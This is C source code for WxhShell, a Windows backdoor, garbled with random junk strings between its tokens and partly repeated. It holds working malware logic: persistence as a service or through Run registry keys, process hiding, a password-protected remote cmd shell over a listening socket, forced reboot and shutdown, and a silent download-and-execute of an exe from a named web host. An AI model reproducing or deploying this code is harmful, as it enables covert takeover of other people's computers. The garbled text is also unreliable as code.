3#$X VqvjOeCbH HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .'A1Eoo0d if(NULL == hInst ) return 0; B-_b.4ND) ]B;`Jf g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z[w}PN,xV g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ip<VRC5`5 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Wk7E&?-:6 hDTC~~J/ if (!NtQueryInformationProcess) return 0; .]h/M,xg lCUYE"o hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z8Ig, if(!hProcess) return 0; -5 ~5N
oR if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y akRKiz\ pt"9zkPj CloseHandle(hProcess); T5|kO:CbHq ;8XRs?xyd hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z H-a%$5 if(hProcess==NULL) return 0; 'WhJ}Uo\ O'IU1sU HMODULE hMod; Q<u?BA/ char procName[255]; :8eI_X unsigned long cbNeeded; sM MtU@<x x5MS#c!7 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); czIAx1R9 [m{sl(Q CloseHandle(hProcess); { rLgyrj$ xE;O =mI if(strstr(procName,"services")) return 1; // 以服务启动 b
MD| Dfzj/spFV return 0; // 注册表启动 J)n_u) , } UJh;Hp: 1xEOYM) // 主模块 =q]!"yU[d int StartWxhshell(LPSTR lpCmdLine) I ?Dp*u* { ;6``t+]q
SOCKET wsl; Z6${nUX BOOL val=TRUE; kd !?N int port=0; @kh<b<a4 struct sockaddr_in door; 4j=K3m JqMF9|{H if(wscfg.ws_autoins) Install(); 6Jq[]l"v -_Z 4)"k port=atoi(lpCmdLine); %gO/mj3* 5\z<xpJ if(port<=0) port=wscfg.ws_port; 8>[g/%W :p}8#rb WSADATA data; MuOKauYa if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tXtNK2-1 l90"1I A if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; s.bo;lk setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?110} [jw door.sin_family = AF_INET; YyxU/UnhG door.sin_addr.s_addr = inet_addr("127.0.0.1"); K [DpH& door.sin_port = htons(port); 2%fIe 0c`zg7| if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $4xSI"+M% closesocket(wsl); WqF,\y%W* return 1; jG7PT66>; } Sj ~SG ="YGR: if(listen(wsl,2) == INVALID_SOCKET) { B
}%2FUv closesocket(wsl); mTI`^e return 1;
k2v:F } exhU!p8 Wxhshell(wsl); @T\n@M] WSACleanup(); #}y8hzS$ %\<b{x# G return 0; kd^H}k B ktRA } SdYf^@%}F =${.*,o // 以NT服务方式启动
Qh&Qsyo% VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _|GbU1Hz { [-$
Do DWORD status = 0; WuUwd#e DWORD specificError = 0xfffffff; uRko[W( 1`7zYW&L serviceStatus.dwServiceType = SERVICE_WIN32; &$/
#"lW,V serviceStatus.dwCurrentState = SERVICE_START_PENDING; d)vP9vXy serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oV:oc, serviceStatus.dwWin32ExitCode = 0; D;C';O serviceStatus.dwServiceSpecificExitCode = 0; XJe=+_K9 serviceStatus.dwCheckPoint = 0; ffmtTJFC5 serviceStatus.dwWaitHint = 0; eo9/ ~I5hV}ZT hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~)ys,Q if (hServiceStatusHandle==0) return; sRD
fA4/TF RJ3oI+gI status = GetLastError(); pc*)^S if (status!=NO_ERROR) /jGBQ-X { @M"gEeI9 serviceStatus.dwCurrentState = SERVICE_STOPPED; )k,n} serviceStatus.dwCheckPoint = 0; DSz[,AaR] serviceStatus.dwWaitHint = 0; 7tcadXk0 serviceStatus.dwWin32ExitCode = status; -Ty~lZ)TDT serviceStatus.dwServiceSpecificExitCode = specificError; !}TsFa SetServiceStatus(hServiceStatusHandle, &serviceStatus); kh0cJE\_^ return; y+ze`pL? } [oTe8^@[ !G;u
)7'v serviceStatus.dwCurrentState = SERVICE_RUNNING; {o24A:M serviceStatus.dwCheckPoint = 0; v~Q'm1!O4\ serviceStatus.dwWaitHint = 0; Zigv;}# if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [HQ)4xG } *z0d~j*W; Lg7A[\c
~ // 处理NT服务事件,比如:启动、停止 hX{,P:d=f VOID WINAPI NTServiceHandler(DWORD fdwControl) w2nReB z { \2s`mCY switch(fdwControl) [Iks8ZWr_ { "OjAhKfG case SERVICE_CONTROL_STOP: *XTd9E^tXq serviceStatus.dwWin32ExitCode = 0; tVn?cS serviceStatus.dwCurrentState = SERVICE_STOPPED; R7bG!1SHl serviceStatus.dwCheckPoint = 0; &|>~7( serviceStatus.dwWaitHint = 0; >u$8Z { Tzex\]fw SetServiceStatus(hServiceStatusHandle, &serviceStatus); >Wr%usNxc } d<a|dwAeh return; O{LCHtN case SERVICE_CONTROL_PAUSE: '}_r/l]K serviceStatus.dwCurrentState = SERVICE_PAUSED; Z0Z6aZeb break; {]^Ixm-,f case SERVICE_CONTROL_CONTINUE: ?mg@z q8 serviceStatus.dwCurrentState = SERVICE_RUNNING; 0\%g@j-aD break; &-ropY case SERVICE_CONTROL_INTERROGATE: -@#w) break; 9wWBE<}>u }; $"kPzo~B_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); lME>U_E } T0w_d_aS lxL5Rit@Px // 标准应用程序主函数 KG'i#(u[ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6TW7E}a. { n[ B~C 3 ~v
1 7 // 获取操作系统版本 A0DGDr PD OsIsNt=GetOsVer(); /\8Il+0 GetModuleFileName(NULL,ExeFile,MAX_PATH); T`EV
uRJ *|AQV: // 从命令行安装 +"?+Be if(strpbrk(lpCmdLine,"iI")) Install(); Z4] n<~o }g}Eh>U // 下载执行文件 !a@)6or if(wscfg.ws_downexe) { [C "\]LiX if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3$\k=q3`# WinExec(wscfg.ws_filenam,SW_HIDE); 9"P|Csj } bx3Q$|M? <gp?}Lk if(!OsIsNt) { XNJ4T]>< // 如果时win9x,隐藏进程并且设置为注册表启动 t7+A!7b{ HideProc(); s6bsVAO> StartWxhshell(lpCmdLine); bHwEd%f } m^_=^z+ else Jxe+LG if(StartFromService()) l[}4
X/ // 以服务方式启动 c2npma]DZ StartServiceCtrlDispatcher(DispatchTable); tq3_az ~1 else ;m(iKwDt // 普通方式启动 sl]<A[jR StartWxhshell(lpCmdLine); E#k{<LYI 4_R|3L return 0; w_(3{P[Iz }
THYw_]K -R`{]7V YFO{i-*q YT\@fgBt =========================================== g$nS6w|5H hS]w
A"\87 ~G!JqdKJ0 YlHP:ZW-cu $coO~qvU X ,QsE{ " ,;)ZF -#|D> #include <stdio.h> qA)OkR'm #include <string.h> cr1x
CPJj #include <windows.h> ;5Sdx5`_ #include <winsock2.h> un{ZysmtB6 #include <winsvc.h> m@4Dz| #include <urlmon.h> $]2)r[eA) Y2H-D{a27 #pragma comment (lib, "Ws2_32.lib") r\Nfq(w #pragma comment (lib, "urlmon.lib") CXlbtpK2k jj5S+ >4 #define MAX_USER 100 // 最大客户端连接数 EApKN@<" #define BUF_SOCK 200 // sock buffer Z>rY9VvWD #define KEY_BUFF 255 // 输入 buffer nr!N%Hi F-yY(b]$ #define REBOOT 0 // 重启 ^#/FkEt7bp #define SHUTDOWN 1 // 关机 % MHb v4P"|vZ$& #define DEF_PORT 5000 // 监听端口 #.Rn6|V/4 XjX #define REG_LEN 16 // 注册表键长度 /)P}[Q4 #define SVC_LEN 80 // NT服务名长度 /(N/DMl[ isQ(O // 从dll定义API 'YL[s typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~3&{`9Y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *3GV9'-P typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (f# (B2j typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =*mT{q@ .Mt3ec< // wxhshell配置信息 {0zn~+ struct WSCFG { 2QfN.<[- int ws_port; // 监听端口 drq3=2 char ws_passstr[REG_LEN]; // 口令 ]R__$fl`8 int ws_autoins; // 安装标记, 1=yes 0=no Z~5) )5Ye; char ws_regname[REG_LEN]; // 注册表键名 %Tm*^ char ws_svcname[REG_LEN]; // 服务名 gAqK)@8- char ws_svcdisp[SVC_LEN]; // 服务显示名 ?e7]U*jEU char ws_svcdesc[SVC_LEN]; // 服务描述信息 a)qan char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6
63o int ws_downexe; // 下载执行标记, 1=yes 0=no T{YZ`[ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MY&Jdmga char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Swi#^i ($[wCHU`! }; [ERZ".? zZ5:)YiW- // default Wxhshell configuration }lJ;|kx$
struct WSCFG wscfg={DEF_PORT, hp\&g2_S0W "xuhuanlingzhe", NxT"A)u 1, [|}IS@ "Wxhshell", K5""%O+ "Wxhshell", :{lwz#9V "WxhShell Service", GIC1]y-' "Wrsky Windows CmdShell Service", "}4%v Zz "Please Input Your Password: ", 1yy?1&88S 1, i|YS>Pw~j "http://www.wrsky.com/wxhshell.exe", wQkM:=t5 "Wxhshell.exe" +.G"ool }; s{hKl0ds UO/sv2CN // 消息定义模块 :+rGBkw1m char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7s9h:/Lu char *msg_ws_prompt="\n\r? for help\n\r#>"; wj|Zn+{"nF char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Vz{+3vfra6 char *msg_ws_ext="\n\rExit."; ?6#won char *msg_ws_end="\n\rQuit."; sDY~jP[Oa char *msg_ws_boot="\n\rReboot..."; IK~&`n](> char *msg_ws_poff="\n\rShutdown..."; [6/QUD8 char *msg_ws_down="\n\rSave to "; 0XHQ5+"8 M6Fo.eeK3 char *msg_ws_err="\n\rErr!"; Q?{%c[s char *msg_ws_ok="\n\rOK!"; U84W(X P]E-Wp'p char ExeFile[MAX_PATH]; j0jl$^ int nUser = 0; q'2vE;z Kb HANDLE handles[MAX_USER]; EE/mxN(< int OsIsNt; 3a/n/_D ~E<2gMKjO SERVICE_STATUS serviceStatus; d:H'[l.F% SERVICE_STATUS_HANDLE hServiceStatusHandle; 2G8pDvBr e~'`x38 // 函数声明 jN=<dq
~ int Install(void); P&-o>mM int Uninstall(void); <Au2e int DownloadFile(char *sURL, SOCKET wsh); XR5KJl int Boot(int flag); Xlo7enzY void HideProc(void); wb-yAQ8 int GetOsVer(void); 7*/{m K) int Wxhshell(SOCKET wsl); zM0NRERi void TalkWithClient(void *cs); I<SgKva;c int CmdShell(SOCKET sock); k$EVr([ int StartFromService(void); K|& f5w int StartWxhshell(LPSTR lpCmdLine); zmMc*| Mf}M/Fh VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wBPo{ VOID WINAPI NTServiceHandler( DWORD fdwControl ); ITu19WG YFKE>+ // 数据结构和表定义 G)3I+uxn SERVICE_TABLE_ENTRY DispatchTable[] = }x8!{Y#cF { 1+o]+Jz| {wscfg.ws_svcname, NTServiceMain}, 3>,}N9P-v {NULL, NULL} !<bwg }; !_S>ER V5|ANt // 自我安装 boh?Xt-$ int Install(void) a"8[,A3 { s6H'}[E< char svExeFile[MAX_PATH]; 95DEuReKi HKEY key; 1^iBS strcpy(svExeFile,ExeFile); 8HF^^Cva xU
*:a[g // 如果是win9x系统,修改注册表设为自启动 L'e_?`!: if(!OsIsNt) { 8fR(y~_gF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K*6 "c.D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); So:X!ljN(e RegCloseKey(key); >}5?`.K~Q* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X/!_>@`7? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @@EI=\ RegCloseKey(key); xO$P
C, return 0; 0.aXg " } }d$-:l,w } EM,C } 49$P else { Lu.zc='\ pwUXM?$R // 如果是NT以上系统,安装为系统服务 w~'xZ?
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5&Oc`5QD if (schSCManager!=0) &&ioGy}1 { [P$Xr6# SC_HANDLE schService = CreateService >J"IN I ( jX53 owZ schSCManager, kmB!NxF>)F wscfg.ws_svcname, M .#} wscfg.ws_svcdisp, OLw]BJXYaE SERVICE_ALL_ACCESS, ul{x|R SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9tiZIm93] SERVICE_AUTO_START, UK`A:N2[ SERVICE_ERROR_NORMAL, yzK; svExeFile, +z
>)'# NULL, lFBdiIw NULL, (Wzp sDte NULL, 5=>1>HYM NULL, tjdPia NULL Z9{~t ); `y8pwWo-o if (schService!=0) UBvp32p { nF3}wCe) CloseServiceHandle(schService); ^@fD{]I CloseServiceHandle(schSCManager); V>6klA}o strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ldv@C6+J strcat(svExeFile,wscfg.ws_svcname); >7U/TVd& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1 $E(8"l RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ttP7-y RegCloseKey(key); -YoL.`s1 return 0; % "RJi? } I16FVdUun4 } ;Iu _*U9) CloseServiceHandle(schSCManager); Met?G0[ } {gMe<y } k
%I83,+ 8NN+Z< return 1; ]ua3I}_B6v } hA=uoe\ y:G%p3h)[ // 自我卸载 m$0W^u int Uninstall(void) EOPx4+o { CTMC78=9} HKEY key; Nc[@QC{
A l[ZU if(!OsIsNt) { wO??"${OH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K:Z$V RegDeleteValue(key,wscfg.ws_regname); 7Sdo*z RegCloseKey(key); /$^Tou/v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :X>Wd+lY:_ RegDeleteValue(key,wscfg.ws_regname); OVK
)]- ~ RegCloseKey(key); 84ij4ZYe return 0; tBo\R?YRs } An2>]\L } Kda'N$|` } mc{z else { !Ko2yn}6l 3(YvqPp& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )f?I{ if (schSCManager!=0) 8ud12^s$ { ?sfqg gi SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O&!R7T if (schService!=0) &raqrY|V { 3%vXB=>T! if(DeleteService(schService)!=0) { T(|'.&a CloseServiceHandle(schService); ZL|aB886 CloseServiceHandle(schSCManager); wMS%/l0p1 return 0; ]n^iG7aB? } xoZm,Pxd CloseServiceHandle(schService); ~nZcA^b#DQ } 5xH=w: CloseServiceHandle(schSCManager); "*vrrY } 6w.E Sm } vCa8`m 4o>y9 return 1; Vl.,e1)6 } :Cq73:1\B NuZ2,<~9 // 从指定url下载文件 Dfs^W{YA int DownloadFile(char *sURL, SOCKET wsh) =VC18yA { I}f`iBG HRESULT hr; @SfQbM##% char seps[]= "/"; IDct!53~ char *token; k
9i
W1 char *file; :EX>Y<`] char myURL[MAX_PATH]; fWHvVyQ. char myFILE[MAX_PATH]; 17hoX4T ZTmy} @l strcpy(myURL,sURL); s'HsLe0| token=strtok(myURL,seps); 2 6#p,P while(token!=NULL) y3~=8!Tj?Q { b6k`R4S3 file=token; o78u>O y token=strtok(NULL,seps); sn"((BsO< } Ny^ 1#R !73y(Y%TE GetCurrentDirectory(MAX_PATH,myFILE); *g5bdQ:Av~ strcat(myFILE, "\\"); &ALnE:F strcat(myFILE, file); hHJiGVJ=V send(wsh,myFILE,strlen(myFILE),0); TzL|{9 send(wsh,"...",3,0); 0O3O^
0 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XgxE M1( if(hr==S_OK) 2w|5SK_ return 0; n%E,[JT else /HIyQW\Ki- return 1; %.Y5%TyP 9f~qD&~ } fPeS; *p/,Z2f // 系统电源模块 ^h?fr` int Boot(int flag) @O"7@%nu { zgD?e?yPO HANDLE hToken; Q68~D.V%r TOKEN_PRIVILEGES tkp; L0w6K0J4 1UP
{j`-K| if(OsIsNt) { 6_mi9_w OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h<9vm[ . LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7FH(C`uKi tkp.PrivilegeCount = 1; _k:8ib2TQ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !}Xoqamm AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Snr(<u if(flag==REBOOT) { l";Yw]:^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
f' A$':Y return 0;
fHiL%]z } .7Mf(1: else { 7hJX if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yaz6?,) return 0; Yxq!7J } ~n=DI/AJ@- } 2u.0AG else { ^ITF* if(flag==REBOOT) { ^E}?YgNp if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @a9.s return 0; bi8_5I[ } qU26i"GHp else { v_KO xV:<` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _[rFnyC+0V return 0; {
^o.f } l~J d>9DwY } Fz#@ [1, >zJHvb)b\ return 1; OIKx:&uIk } T"xJY#)} y[N0P0r l: // win9x进程隐藏模块 V]|X
,G void HideProc(void) YR'F]FI { X]y:uD{ )j;^3LiV3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q>_<\|?%x if ( hKernel != NULL ) L[<#>/NPy { jPSVVOG pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !hVbx#bXl ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ZLjAhd) FreeLibrary(hKernel); ?NwrdcQ }
3\W/VBJJ hs7!S+[.$$ return; N
sdpE?V } g8O6
b @43psq1 // 获取操作系统版本 <,CrE5Pl int GetOsVer(void) U:8[%a { t7by OMC OSVERSIONINFO winfo; "$(+M t^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mx^Ga=:
? GetVersionEx(&winfo); \3hA_{ w if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T'p L&@,Q return 1; =~
Uhr6Q else I|rb"bG return 0; SIp)& } #*bmwb*i VcKB:(:[ // 客户端句柄模块 yzN[%/ int Wxhshell(SOCKET wsl) 1AAyzAP9` { i#-v4g SOCKET wsh; l cl|o3yQ struct sockaddr_in client; hDxq9EF DWORD myID; Au,oX2$ k[@P526 while(nUser<MAX_USER) HAjl[c { *}\M!u{J int nSize=sizeof(client); Db"mq'vT wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @v2<T1UC if(wsh==INVALID_SOCKET) return 1; JmCMFqB9 b`X''6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6+$2rS$1V if(handles[nUser]==0) g-qXS]y7 closesocket(wsh); -leX|U}k else SES.&e|!6 nUser++; ?4':~;~ } CyIlv0fd} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FMdu30JV 529b. | return 0; = Pv_,% } ~
*&\5rPb y?OP- 27y // 关闭 socket \:;MFG' void CloseIt(SOCKET wsh) "0HUaU,e { JY closesocket(wsh); ~/G)z?+E nUser--; AERJ]$\
ExitThread(0); )'kpO> _G } _V$'nz#>e 4<Vi`X7[F // 客户端请求句柄 M
FIb-*wT void TalkWithClient(void *cs) cK'g2S { !Ubm 586! necY/&Ld- SOCKET wsh=(SOCKET)cs; 2iNLm6" char pwd[SVC_LEN]; iaL@- dg char cmd[KEY_BUFF]; ~YH?wdT char chr[1]; E`TZ:W]r, int i,j; @6UtnX'd nkHl;;WJ while (nUser < MAX_USER) { !R8%C!=a R&|.Lvmc/ if(wscfg.ws_passstr) { L3{(Bu if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -+E.I*st //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [|:{qQyD //ZeroMemory(pwd,KEY_BUFF); zyS8LZ-y9 i=0; `Na()r$T while(i<SVC_LEN) { "VZ1LVI y`RzcXblIZ // 设置超时 AQZ<,TE0, fd_set FdRead; ?("O.< struct timeval TimeOut; ^BF}wQb:j FD_ZERO(&FdRead); +0Q FD_SET(wsh,&FdRead); :^y!z1\2(7 TimeOut.tv_sec=8; lgews" TimeOut.tv_usec=0; WX4sTxJK int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kgo#JY-4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >SXSrXyYX k>ErDv8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b/_Zw^DPC pwd=chr[0]; Hf('BagBL if(chr[0]==0xd || chr[0]==0xa) { SRfh{u pwd=0; m]?Z_*1 break; 9\ "\7S/Z } W^iK9|[qp i++; &%fcGNzJQ } V,KIi_Z <%^/uS // 如果是非法用户,关闭 socket eC5*Q=ai, if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZSu.0|0# } vYRY?~8 C P3Ql[2 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {\5(aQ)Vi5 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [ K? ;^/ruf[t while(1) { -`'|z+V 8;gi8Y ZeroMemory(cmd,KEY_BUFF); [r`KoHwdm ;
$rQ // 自动支持客户端 telnet标准 4r$#- j=0; xVPSL#> while(j<KEY_BUFF) { a*(Zb|g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]y{tMC cmd[j]=chr[0]; :lai0>
D if(chr[0]==0xa || chr[0]==0xd) { 2E40& cmd[j]=0; /!ElAL
break; >7BP}5`.; } 30HUY?'K j++; e]1=&:eX#d } Owf!dMA;nF W|2^yO,dX // 下载文件 VVQ~;{L if(strstr(cmd,"http://")) { _4>DuklH, send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;"&?Okz if(DownloadFile(cmd,wsh)) %<kfW&_>w send(wsh,msg_ws_err,strlen(msg_ws_err),0); {jD?obs else jnqp"
Ult> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LGL;3EI } o'lG9ePM| else { %R$)bGT q.J6'v lj/ switch(cmd[0]) { im*sSz 0 ( 7=fM}sk // 帮助 "\*)KH`C case '?': { hp)>Nzdx send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }#1. $a break; Z`*V9 } $+PioSq // 安装 ZJ{DW4#t case 'i': { SGl|{+(A if(Install()) U)kyq send(wsh,msg_ws_err,strlen(msg_ws_err),0); vGyQ306 else ])?dqgwa send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B<s+I# break; Hs)] } cPtDIc, // 卸载 F,_cci`p case 'r': { -}m if(Uninstall()) *wJ$U send(wsh,msg_ws_err,strlen(msg_ws_err),0); (~G*'/) else @zS/J,:v} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0c>>:w20D break; q tOuA } OyDoktz$) // 显示 wxhshell 所在路径 E{6ku=2F case 'p': { k?h{6Qd char svExeFile[MAX_PATH]; Mzg3i* strcpy(svExeFile,"\n\r"); NATi)A"TZ strcat(svExeFile,ExeFile); |!K&h(J| send(wsh,svExeFile,strlen(svExeFile),0); |6NvByc, break; :vi %7 } ]/!*^;cY( // 重启 Q+f|.0r case 'b': { 2>"{El|PbN send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HV!P]82Pa if(Boot(REBOOT)) Jha*BaD~N send(wsh,msg_ws_err,strlen(msg_ws_err),0); TJNE2 else { q"Bd-?9 closesocket(wsh); 08:K9zr ExitThread(0); -rsS_[$2 } ^Whc<>| break; jEKa9rt } 0(&uH0x // 关机 5M\0t\uEn case 'd': { Mxz
X@GBX send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4oF,;o+v\4 if(Boot(SHUTDOWN)) 36'J9h\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); rKPsv*w else { }c/#WA|b closesocket(wsh); QPVr:+\B{ ExitThread(0); _`Kh8G
{e } ~b8.]Z^ break; bY`Chb. } |\B\IPs{%' // 获取shell |QzJHP @ case 's': { '
Sd&I:? CmdShell(wsh); h%:wIkZ/ closesocket(wsh); a:|]F| ExitThread(0); :8n?G break; .aZB?MW } :x q^T // 退出 9^SrOW6~ case 'x': { ~i^,Z&X: send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pnz@;+f CloseIt(wsh); #O^zA`D break; Wm8BhO } 3sBWtz // 离开 ^?%ThPo_ case 'q': { <\:*cET3 send(wsh,msg_ws_end,strlen(msg_ws_end),0); ve#[LBOC8 closesocket(wsh); nb5%a WSACleanup(); rGH7S!\AM exit(1); 3I?yRE break; 0wBr_b! } ;Xidv9c } d{!zJ+n } J!rZskd -'W:P'BG // 提示信息 P)TeF1~T if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?fs#K;w } ^<yM0'0t } XSZjuQ<[3 :\#]uDT2= return; VyU!r*
o } IsL=DV/ r~;.8qs // shell模块句柄 jaThS!>v int CmdShell(SOCKET sock) t[%=[pJHW { :+DAzjwO< STARTUPINFO si; :?%_JM5U ZeroMemory(&si,sizeof(si)); >fR#U"KPAB si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (K"t</] si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q6Zh%\+h( PROCESS_INFORMATION ProcessInfo; Sdmynuv
U char cmdline[]="cmd"; S4O:?^28 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I@a7!ugU65 return 0; XeBSHvO_ } ;`bJgSCfo Q~*3Z4)j // 自身启动模式 U|h@Pw z int StartFromService(void) C vTgtZ
' { yC=vTzzp typedef struct 7L:R&W6 {
qf]OSd DWORD ExitStatus; `|JQ)!Agx DWORD PebBaseAddress; Y@%6*uTLa DWORD AffinityMask; m4P=,=% DWORD BasePriority; ;Wr,VU] ULONG UniqueProcessId; Vo2frWF$ ULONG InheritedFromUniqueProcessId; r3 {o_w } PROCESS_BASIC_INFORMATION; w_J`29uc "=!QSb PROCNTQSIP NtQueryInformationProcess; w1A&p TAYt: static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ip0@Q}^ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'E8dkVlI s?K4::@Fv HANDLE hProcess; .Lu=16 PROCESS_BASIC_INFORMATION pbi; 5p{tt;9[ s: q15" HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m9>nvrQ if(NULL == hInst ) return 0; qXW2a'~ 2|w.A! g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u&I~%s g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~(0Y`+gC NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g9"_ BG z8"=W,2 if (!NtQueryInformationProcess) return 0; Ez1*} GrQAho hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <db/. A3 if(!hProcess) return 0; t_VHw'~" :* /`` if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %J%gXk}] :~)Q] G1Nj CloseHandle(hProcess); $v oyXi`* +#H8d1^5 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); izWl5}+'B if(hProcess==NULL) return 0; 3S2'JOTY i+cGw HMODULE hMod; +[}]a3) char procName[255]; /~tfP unsigned long 